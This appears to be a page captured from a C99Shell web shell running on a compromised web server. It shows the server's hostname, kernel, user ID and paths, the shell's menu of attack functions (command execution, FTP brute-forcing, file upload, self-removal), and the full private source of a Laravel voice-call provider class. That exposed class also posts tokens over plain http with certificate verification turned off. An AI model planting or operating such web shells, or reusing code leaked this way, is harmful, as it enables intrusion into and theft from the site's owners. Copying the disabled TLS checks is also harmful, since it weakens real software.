!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/VoiceCallProvider/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Soniyal.php (3.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\VoiceCallProvider;

use 
App\Models\MessageLog;
use 
Illuminate\Support\Facades\Log;

class 
Soniyal implements SendVoiceCallInterface
{

    private 
$credentials;
    private 
$to_numbers;
    private 
$body;
    private 
$from_number;
    private 
$mms_files;
    private 
$message;
    private 
$send_fail=[];
    private 
$message_log;

    public function 
__construct($credentials)
    {
        
$this->credentials=$credentials;
    }

    public function 
setTo($to)
    {
        
$this->to_numbers $to;
        return 
$this;
    }

    public function 
setBody($body)
    {
        
$this->body $body;
        return 
$this;
    }

    public function 
setFrom($from)
    {
        
$this->from_number $from;
        return 
$this;
    }
    public function 
setFiles($files){
        
$this->mms_files=$files;
        return 
$this;
    }

    public function 
setMessage($message){
        
$this->message=$message;
        return 
$this;
    }

    public function 
process()
    {
        
$audioPath asset('uploads/' $this->mms_files);
        
$domainName $this->credentials->domain_name;
        
$planId $this->credentials->plan_id;
        
$callerId $this->credentials->caller_id;
        
$userName $this->credentials->username;
        
$token $this->credentials->token;
        if (!
$audioPath || !$domainName || !$userName || !$token || !$planId ||!$callerId){
            throw new 
\Exception('This provider is not active. Please contact with the administrator');
        }
        
$post_url "http://$domainName/api/voice/upload_announcement.php";
        
$parameters = [
            
'username'=> $userName,
            
'token'=> $token,
            
'announcement_path'=> $audioPath,
        ];
        
$client = new \GuzzleHttp\Client(['verify' => false]);
        
$response $client->post($post_url, [
            
'form_params' => $parameters,
        ]);
        
$responseString $response->getBody()->getContents();
        
$responseStatus json_decode($responseString);
        if (isset(
$responseStatus) && isset($responseStatus->status) && $responseStatus->status == 'success' && isset($responseStatus->data) && isset($responseStatus->data->announcement_id)){
            
$voiceCallUrl "http://$domainName/api/voice/voice_broadcast.php";
            
$toNumbers $this->to_numbers;
            if (!
$toNumbers){
                throw new 
\Exception('Invalid to numbers');
            }
            
$to '';
            foreach (
$toNumbers as $toNumber){
                
$to .= $toNumber.",";
            }

            
$voiceCallParameters = [
                
'username'=> $userName,
                
'token'=> $token,
                
'announcement_id'=> $responseStatus->data->announcement_id,
                
'plan_id'=> $planId,
                
'contact_numbers'=> $to,
                
'caller_id'=> $callerId,
            ];

            
$voiceCallClient = new \GuzzleHttp\Client(['verify' => false]);
            
$voiceCallResponse $voiceCallClient->post($voiceCallUrl, [
                
'form_params' => $voiceCallParameters,
            ]);
            
$voiceCallResponseString $voiceCallResponse->getBody()->getContents();
            
Log::info($voiceCallResponseString);
        }


        
Log::info($responseString);
    }

    public function 
getSendFail(){
        return 
$this->send_fail;
    }

    private function 
setSendFail($sendFailArray){
        
$this->send_fail[]=$sendFailArray;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--